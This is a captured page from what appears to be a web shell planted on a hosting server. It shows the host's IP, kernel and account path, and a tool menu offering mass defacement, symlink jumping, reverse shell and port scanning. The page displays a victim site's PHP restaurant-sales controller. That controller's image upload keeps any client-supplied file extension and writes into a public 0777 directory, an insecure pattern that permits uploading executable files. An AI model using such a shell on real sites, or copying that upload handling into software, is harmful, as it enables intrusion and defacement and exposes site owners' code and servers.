Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
piscina
/
app
/
controllers
/
Viewing: RestauranteController.php
<?php namespace App\Controllers; use App\Core\Controller; use App\Core\Config; use App\Models\Cliente; use App\Models\Restaurante; class RestauranteController extends Controller { public function __construct() { $this->requireAuth(); $this->requirePermission(['ventas', 'comidas']); } public function index(): void { $productos = Restaurante::productos(); $ventas = Restaurante::ventasDelDia(); $resumen = Restaurante::resumenDiario(); $categorias = ['Todos', ...Restaurante::categorias()]; $this->view('restaurante/index', [ 'title' => 'Restaurante', 'productos' => $productos, 'ventas' => $ventas, 'resumen' => $resumen, 'categorias' => $categorias, ]); } public function catalogo(): void { $categoria = $_GET['categoria'] ?? 'Todos'; $productos = Restaurante::productosPorCategoria($categoria); $categorias = ['Todos', ...Restaurante::categorias()]; $mensaje = $_SESSION['flash']['restaurante'] ?? null; unset($_SESSION['flash']['restaurante']); $this->view('restaurante/catalogo', [ 'title' => 'Catálogo de productos', 'productos' => $productos, 'categorias' => $categorias, 'categoriaSeleccionada' => $categoria, 'mensaje' => $mensaje, ]); } public function crearProducto(): void { $this->view('restaurante/producto_form', [ 'title' => 'Nuevo producto', 'categorias' => Restaurante::categorias(), 'accion' => 'crear', ]); } public function guardarProducto(): void { $data = $this->sanitizarProducto($_POST); $errores = $this->validarProducto($data); if ($errores) { $_SESSION['flash']['restaurante'] = ['tipo' => 'danger', 'mensaje' => implode(' ', $errores)]; header('Location: ' . Config::basePath() . 'restaurante/crearProducto'); exit; } $imagen = $this->procesarImagen(); if ($imagen !== null) { $data['imagen'] = $imagen; } Restaurante::crearProducto($data); $_SESSION['flash']['restaurante'] = ['tipo' => 'success', 'mensaje' => 'Producto registrado correctamente.']; header('Location: ' . Config::basePath() . 'restaurante/catalogo'); exit; } public function editarProducto(int $id): void { $producto = Restaurante::findProducto($id); if (!$producto) { $_SESSION['flash']['restaurante'] = ['tipo' => 'warning', 'mensaje' => 'Producto no encontrado.']; header('Location: ' . Config::basePath() . 'restaurante/catalogo'); exit; } $this->view('restaurante/producto_form', [ 'title' => 'Editar producto', 'categorias' => Restaurante::categorias(), 'accion' => 'editar', 'producto' => $producto, ]); } public function actualizarProducto(int $id): void { $producto = Restaurante::findProducto($id); if (!$producto) { $_SESSION['flash']['restaurante'] = ['tipo' => 'warning', 'mensaje' => 'Producto no encontrado.']; header('Location: ' . Config::basePath() . 'restaurante/catalogo'); exit; } $data = $this->sanitizarProducto($_POST); $errores = $this->validarProducto($data); if ($errores) { $_SESSION['flash']['restaurante'] = ['tipo' => 'danger', 'mensaje' => implode(' ', $errores)]; header('Location: ' . Config::basePath() . 'restaurante/editarProducto/' . $id); exit; } $imagen = $this->procesarImagen($producto['imagen']); if ($imagen !== null) { $data['imagen'] = $imagen; } Restaurante::actualizarProducto($id, $data); $_SESSION['flash']['restaurante'] = ['tipo' => 'success', 'mensaje' => 'Producto actualizado correctamente.']; header('Location: ' . Config::basePath() . 'restaurante/catalogo'); exit; } public function eliminarProducto(int $id): void { if (Restaurante::eliminarProducto($id)) { $_SESSION['flash']['restaurante'] = ['tipo' => 'success', 'mensaje' => 'Producto eliminado.']; } else { $_SESSION['flash']['restaurante'] = ['tipo' => 'warning', 'mensaje' => 'No se pudo eliminar el producto.']; } header('Location: ' . Config::basePath() . 'restaurante/catalogo'); exit; } public function vender(): void { $productos = Restaurante::productos(); $clientes = Cliente::all(); $mensaje = $_SESSION['flash']['restaurante'] ?? null; unset($_SESSION['flash']['restaurante']); $preseleccion = null; if (isset($_GET['producto'])) { $preseleccion = Restaurante::findProducto((int) $_GET['producto']); } $this->view('restaurante/vender', [ 'title' => 'Registrar venta', 'productos' => $productos, 'clientes' => $clientes, 'mensaje' => $mensaje, 'preseleccion' => $preseleccion, ]); } public function registrarVenta(): void { $clienteId = (int) ($_POST['cliente_id'] ?? 0); $items = $this->sanitizarItems($_POST['items'] ?? []); if ($clienteId <= 0 || empty($items)) { $_SESSION['flash']['restaurante'] = ['tipo' => 'danger', 'mensaje' => 'Selecciona un cliente y agrega al menos un producto válido.']; header('Location: ' . Config::basePath() . 'restaurante/vender'); exit; } try { $venta = Restaurante::registrarVenta([ 'cliente_id' => $clienteId, 'items' => $items, ]); } catch (\Throwable $e) { $_SESSION['flash']['restaurante'] = ['tipo' => 'danger', 'mensaje' => $e->getMessage()]; header('Location: ' . Config::basePath() . 'restaurante/vender'); exit; } $_SESSION['flash']['restaurante'] = ['tipo' => 'success', 'mensaje' => 'Venta registrada correctamente.']; header('Location: ' . Config::basePath() . 'restaurante/ticket/' . $venta['id']); exit; } public function ticket(int $id): void { $venta = Restaurante::findVenta($id); if (!$venta) { $_SESSION['flash']['restaurante'] = ['tipo' => 'warning', 'mensaje' => 'Venta no encontrada.']; header('Location: ' . Config::basePath() . 'restaurante'); exit; } $numeroTicket = $venta['numero_ticket'] ?? null; $titulo = 'Ticket de venta #' . ($numeroTicket !== null ? str_pad((string) $numeroTicket, 3, '0', STR_PAD_LEFT) : $venta['id']); $this->view('restaurante/ticket', [ 'title' => $titulo, 'venta' => $venta, ], [ 'main_class' => 'container py-4', ]); } public function eliminarVenta(int $id): void { if (Restaurante::eliminarVenta($id)) { $_SESSION['flash']['restaurante'] = ['tipo' => 'success', 'mensaje' => 'Venta eliminada correctamente.']; } else { $_SESSION['flash']['restaurante'] = ['tipo' => 'warning', 'mensaje' => 'No se pudo eliminar la venta seleccionada.']; } header('Location: ' . Config::basePath() . 'restaurante'); exit; } public function reporteDiario(): void { $desdeRaw = $_GET['desde'] ?? ''; $hastaRaw = $_GET['hasta'] ?? ''; $desde = $this->sanitizeDate($desdeRaw); $hasta = $this->sanitizeDate($hastaRaw); $ventas = Restaurante::ventasHistoricas($desde, $hasta); $resumen = Restaurante::resumenHistorico($desde, $hasta); $this->view('restaurante/reporte', [ 'title' => 'Reporte del restaurante', 'ventas' => $ventas, 'resumen' => $resumen, 'desde' => $desde ?? '', 'hasta' => $hasta ?? '', ]); } private function sanitizarProducto(array $data): array { $categoriaSeleccionada = trim($data['categoria'] ?? ''); $categoriaNueva = trim($data['categoria_nueva'] ?? ''); $categoria = $categoriaNueva !== '' ? $categoriaNueva : $categoriaSeleccionada; return [ 'nombre' => trim($data['nombre'] ?? ''), 'categoria' => $categoria, 'precio' => (float) ($data['precio'] ?? 0), 'stock' => (int) ($data['stock'] ?? 0), ]; } private function sanitizarItems(array $items): array { $detalles = []; foreach ($items as $item) { $productoId = (int) ($item['id'] ?? 0); $cantidad = (int) ($item['cantidad'] ?? 0); if ($productoId <= 0 || $cantidad <= 0) { continue; } $detalles[] = [ 'id' => $productoId, 'cantidad' => $cantidad, ]; } return $detalles; } private function validarProducto(array $data): array { $errores = []; if ($data['nombre'] === '') { $errores[] = 'El nombre es obligatorio.'; } if ($data['categoria'] === '') { $errores[] = 'Selecciona o crea una categoría.'; } if ($data['precio'] <= 0) { $errores[] = 'El precio debe ser mayor a cero.'; } if ($data['stock'] < 0) { $errores[] = 'El stock no puede ser negativo.'; } return $errores; } private function procesarImagen(?string $imagenActual = null): ?string { if (!isset($_FILES['imagen']) || empty($_FILES['imagen']['tmp_name'])) { return null; } $archivo = $_FILES['imagen']; if (!is_uploaded_file($archivo['tmp_name'])) { return null; } $extension = pathinfo($archivo['name'], PATHINFO_EXTENSION) ?: 'jpg'; $nombre = 'restaurante_' . time() . '.' . strtolower($extension); $destinoRelativo = 'img/' . $nombre; $destinoAbsoluto = dirname(__DIR__, 2) . '/public/' . $destinoRelativo; if (!is_dir(dirname($destinoAbsoluto))) { mkdir(dirname($destinoAbsoluto), 0777, true); } if (move_uploaded_file($archivo['tmp_name'], $destinoAbsoluto)) { return $destinoRelativo; } return $imagenActual; } private function requireAuth(): void { if (session_status() !== PHP_SESSION_ACTIVE) { session_start(); } if (!isset($_SESSION['user'])) { header('Location: ' . Config::basePath() . 'login'); exit; } } private function sanitizeDate(string $value): ?string { $trimmed = trim($value); if ($trimmed === '') { return null; } $fecha = \DateTime::createFromFormat('Y-m-d', $trimmed); return $fecha instanceof \DateTime ? $fecha->format('Y-m-d') : null; } }
Coded With 💗 by
0x6ick